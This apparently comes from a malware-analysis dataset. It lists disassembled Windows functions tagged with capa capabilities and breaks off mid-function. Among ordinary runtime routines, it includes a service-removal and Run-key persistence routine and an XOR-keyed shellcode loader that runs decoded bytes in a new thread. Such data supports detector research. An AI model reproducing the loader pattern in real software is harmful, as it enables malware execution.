joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064cc
Capabilities:
Delete registry value
Delete service
Persist via run registry key
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx + 8], 4
mov rbx, rcx
jl 0x406603
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
jne 0x406518
mov rax, qword [rbx]
mov edx, 0x3eb
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x40663f
mov rdx, qword [rbx + 0x18]
mov r8d, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x406550
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r11, qword [rbx]
mov edx, 0x3ed
mov rcx, rbx
call qword [r11 + reloc.OLEAUT32.dll_VariantClear]
jmp 0x40663f
lea r8, [rbx + 0x20038]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4065cb
mov rdx, qword [rbx + 0x18]
lea rcx, str.Stopping__s_service._Please_wait.
call fcn.00418978
jmp 0x406590
cmp dword [rbx + 0x2003c], 3
jne 0x4065af
lea rcx, [0x00430264]
call fcn.00418978
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbx + 0x20038]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40657b
cmp dword [rbx + 0x2003c], 1
lea rcx, str._stopped._n
je 0x4065c6
lea rcx, str._failed._n
call fcn.00418978
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rdx, qword [rbx + 0x18]
lea rcx, str._s_service_removed._n
test eax, eax
jne 0x4065ea
lea rcx, str.Cant_remove__s_service._n
call fcn.00418978
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40663d
lea r8, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40663d
mov rcx, qword [rsp + 0x30]
lea rdx, str.FBDiskOptimizer
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x40ee0c
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.0040d904
mov rsi, rax
test rax, rax
je 0x40ee88
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x40ee83
cmp dword [rbx], 0x40
jb 0x40ee83
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x40ee83
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x40ee8c
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x419950
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.0041f47c
nop
cmp dword [0x0043f5b8], 1
je 0x4198fc
mov dword [0x0043f5b4], 1
mov byte [0x0043f5b0], r12b
test ebx, ebx
jne 0x4198e8
mov rcx, qword [0x00451c30]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x4198d5
mov rcx, qword [0x00451c28]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x419874
call fcn.0041b3d8
cmp qword [rdi], rax
jne 0x419874
jmp 0x41985a
cmp rdi, rsi
jb 0x4198d5
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.0041b3d8
mov qword [rdi], rax
call rbx
mov rcx, qword [0x00451c30]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x00451c28]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x4198b3
cmp r13, rax
je 0x4198d3
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x41985a
lea rdx, [0x0042a9d8]
lea rcx, [0x0042a9c0]
call fcn.004196a4
lea rdx, [0x0042a9e8]
lea rcx, [0x0042a9e0]
call fcn.004196a4
nop
test r12d, r12d
je 0x41990b
mov ecx, 8
call fcn.0041f37c
test r12d, r12d
jne 0x419936
mov dword [0x0043f5b8], 1
lea ecx, [r12 + 8]
call fcn.0041f37c
mov ecx, r15d
call fcn.00419638
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x4197c4

Function at 0x41995c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x4197c4
Function at 0x41b8d3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x0043a0c0]
jne 0x41792a
rol rcx, 0x10
test cx, 0xffff
jne 0x417926
repz ret
ror rcx, 0x10
jmp 0x41b82c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x0043fba0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x0043fc98]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x41b8b1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x0043fba0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x41b8d3
mov rax, qword [rsp + 0x88]
mov qword [0x0043fc98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x0043fc38], rax
mov rax, qword [0x0043fc98]
mov qword [0x0043fb10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x0043fc20], rax
mov dword [0x0043fb00], 0xc0000409
mov dword [0x0043fb04], 1
mov rax, qword [0x0043a0c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x0043a0c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x0043fb98], eax
mov ecx, 1
call fcn.0041d53c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x0042ea10]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x0043fb98], 0
jne 0x41b95a
mov ecx, 1
call fcn.0041d53c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x421394
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.0041b3d8
xor ebx, ebx
mov rdi, rax
cmp qword [0x00440440], rbx
jne 0x42149a
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x42156f
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x42156f
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x0042eb78]
mov rcx, rsi
mov qword [0x00440440], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x0042eb60]
mov rcx, rsi
mov qword [0x00440448], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x00440450], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x00440460], rax
test rax, rax
je 0x421491
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x00440458], rax
jmp 0x4214a1
mov rax, qword [0x00440458]
jmp 0x4214a8
mov rax, qword [0x00440458]
mov r11, qword [0x00440460]
cmp rax, rdi
je 0x421510
cmp r11, rdi
je 0x421510
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x00440460]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x421510
test rax, rax
je 0x421510
call rsi
test rax, rax
je 0x42150a
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x42150a
test byte [rsp + 0x38], 1
jne 0x421510
bts ebp, 0x15
jmp 0x42154e
mov rcx, qword [0x00440448]
cmp rcx, rdi
je 0x42154e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x42154e
call rax
mov rbx, rax
test rax, rax
je 0x42154e
mov rcx, qword [0x00440450]
cmp rcx, rdi
je 0x42154e
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x42154e
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x00440440]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x42156f
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x421571
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x6dad1f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6daf35e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6dad20f8
mov rax, qword [0x6daf35e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6dad1fbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6dad2045
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6dad1fa0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6dad212d
mov rax, qword [0x6daf35e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6daf35e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6dad2110
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6dad203e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6dad20a0
add dword [0x6daf35e4], 1
cmp edi, 8
jae 0x6dad2073
test dil, 4
jne 0x6dad20e4
test edi, edi
je 0x6dad2068
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6dad20ff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6dad2068
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6dad208c
jmp 0x6dad2068
add rsi, qword [0x6daf35e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6dad203e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6dad2068
xor esi, esi
jmp 0x6dad1fc7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6dad2068
mov rax, qword [0x6daf35e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6dad2880
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6daf38c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6daf38a0]
test rbx, rbx
je 0x6dad28d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6dad28cb
test rsi, rsi
je 0x6dad28cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6dad28b0
lea rcx, [0x6daf38c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6dad2b10
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6dad2b20
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6dad2b30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6dad2b71
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6dad2b68
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6dad2b73
add rax, 0x28
cmp rax, r9
jne 0x6dad2b54
xor eax, eax
ret

Function at 0x6dad2c10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6daf01f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6dad2c7d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6dad2c7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6dad2c7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6dad2c74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6dad2c7f
add rax, 0x28
cmp rax, r9
jne 0x6dad2c60
xor eax, eax
add rsp, 0x28
ret

Function at 0x6dad2d80
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6daf01f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6dad2da0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6dad2d98
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6dad2dfd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6dad2df4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6dad2e04
add rax, 0x28
cmp rax, r9
jne 0x6dad2de0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6dad2e20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6daf01f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6dad2e8e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6dad2e8e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6dad2e8e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6dad2e8e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6dad2e85
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6dad2e95
add rcx, 0x28
cmp rcx, rax
jne 0x6dad2e70
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6dad2ea8
jmp 0x6dad2e8e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6dad2eb6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6dad2e8e
test r9d, r9d
jg 0x6dad2ea0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6dad31f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov dword [rsp + 0x30], 0
mov edx, 0x114
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
lea r8, [0x140003060]
xor edx, edx
lea r10, str.mysupersecretkey
mov rbx, rax
nop word [rax + rax]
xor ecx, ecx
lea r8, [r8 + 1]
cmp rdx, 0x10
cmovne rcx, rdx
inc r9d
movzx eax, byte [rcx + r10]
lea rdx, [rcx + 1]
xor byte [r8 - 1], al
cmp r9d, 0x114
jb 0x140001050
mov r8d, 0x114
lea rdx, [0x140003060]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x30]
mov edx, 0x114
mov r8d, 0x20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400010d8
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001100
add rsp, 0x40
pop rbx
ret

Function at 0x1400019dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a26
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a28
xor al, al
add rsp, 0x28
ret
Function at 0x180189bc0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rdi, rdx
mov ecx, 0xb0
lea rdx, [0x180028be0]
call fcn.18028b264
mov rbx, rax
test rax, rax
je 0x180189e0a
lea rcx, [rax + 1]
xor edx, edx
mov r8d, 0xaf
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx + 8]
mov byte [rbx], 1
mov edx, 2
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [rbx + 0x58]
call qword [sym.imp.MSVCP140.dll__Cnd_init_in_situ]
xorps xmm0, xmm0
mov qword [0x1802eb198], rbx
movups xmmword [rbx + 0xa0], xmm0
lea rax, [rsp + 0xa0]
mov dword [rsp + 0x28], 0x20
lea rbx, [0x18017a860]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov r9d, 0xffffffff
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.180188960
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [0x1802c9ec0]
mov dword [0x1802ef608], eax
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x180189c92
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
test rdi, rdi
je 0x180189cb2
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [0x1802eb3a0], xmm0
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [0x1802eb3b0], xmm1
jmp 0x180189cd2
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [0x1802eb3a0], xmm0
movups xmmword [0x1802eb3b0], xmm0
movups xmmword [0x1802eb3c0], xmm0
lea rcx, [0x1802c9ec0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [0x1802eb5d0], xmm0
movups xmmword [0x1802eb5e0], xmm0
movups xmmword [0x1802eb5f0], xmm0
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
cmp qword [0x1802ef710], 0
jne 0x180189e13
mov r8d, 1
lea rax, [0x1802c6898]
mov edx, r8d
mov qword [0x1802ef820], rax
sub rdx, rbx
lea rcx, [0x1802ef840]
lea rax, [rdx + rbx]
cmp rax, 0x40
jae 0x180189d5c
movzx eax, byte [rbx]
inc rbx
mov byte [rcx], al
inc rcx
cmp byte [rbx], 0
jne 0x180189d42
mov rdi, qword [0x1802eb198]
lea rax, [0x1802ef820]
mov byte [rcx], 0
mov ecx, 8
mov qword [0x1802ef710], rax
lea rax, [0x18018a2d0]
mov qword [0x1802ef830], rax
lea rax, [0x18018a2e0]
mov qword [0x1802ef838], rax
xchg byte [rdi], r8b
call fcn.18028ae74
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x18018a480]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
mov qword [rax], rdi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x180189dfa
cmp dword [rdi + 0xa8], ebx
jne 0x180189df3
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rdi + 0xa0], xmm1
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
xor ebx, ebx
mov qword [0x1802eb198], rbx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rdi
ret
Function at 0x18018a5a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov edx, dword [rcx]
mov r9d, 0x138
mov r10, rcx
cmp edx, r9d
jne 0x18018a612
lea r8, [rcx + 0x10]
movabs r11, 0xb5026f5aa96619e9
nop dword [rax]
nop word [rax + rax]
mov edx, dword [r8 - 8]
xor edx, dword [r8]
lea r8, [r8 + 8]
btr edx, 0x1f
xor rdx, qword [r8 - 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x18018a5d0
mov edx, dword [r10]
jmp 0x18018a713
cmp edx, 0x270
jb 0x18018a713
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [rcx + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
mov rdx, qword [rbx + 8]
lea r8, [rbx + 8]
xor rdx, rax
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x18018a640
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x18018a690
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
xor edx, edx
mov qword [r10 + 0x9c0], rcx
mov dword [r10], edx
mov eax, edx
xorps xmm0, xmm0
mov rcx, qword [r10 + rax*8 + 8]
lea eax, [rdx + 1]
mov dword [r10], eax
movabs rdx, 0x38eb3ffff6d3
mov rax, rcx
shr rax, 0x1d
and rax, qword [r10 + 0x1388]
xor rcx, rax
mov rax, rcx
and rax, rdx
shl rax, 0x11
xor rcx, rax
mov rax, rcx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rcx, rax
mov rdx, rcx
shr rdx, 0x2b
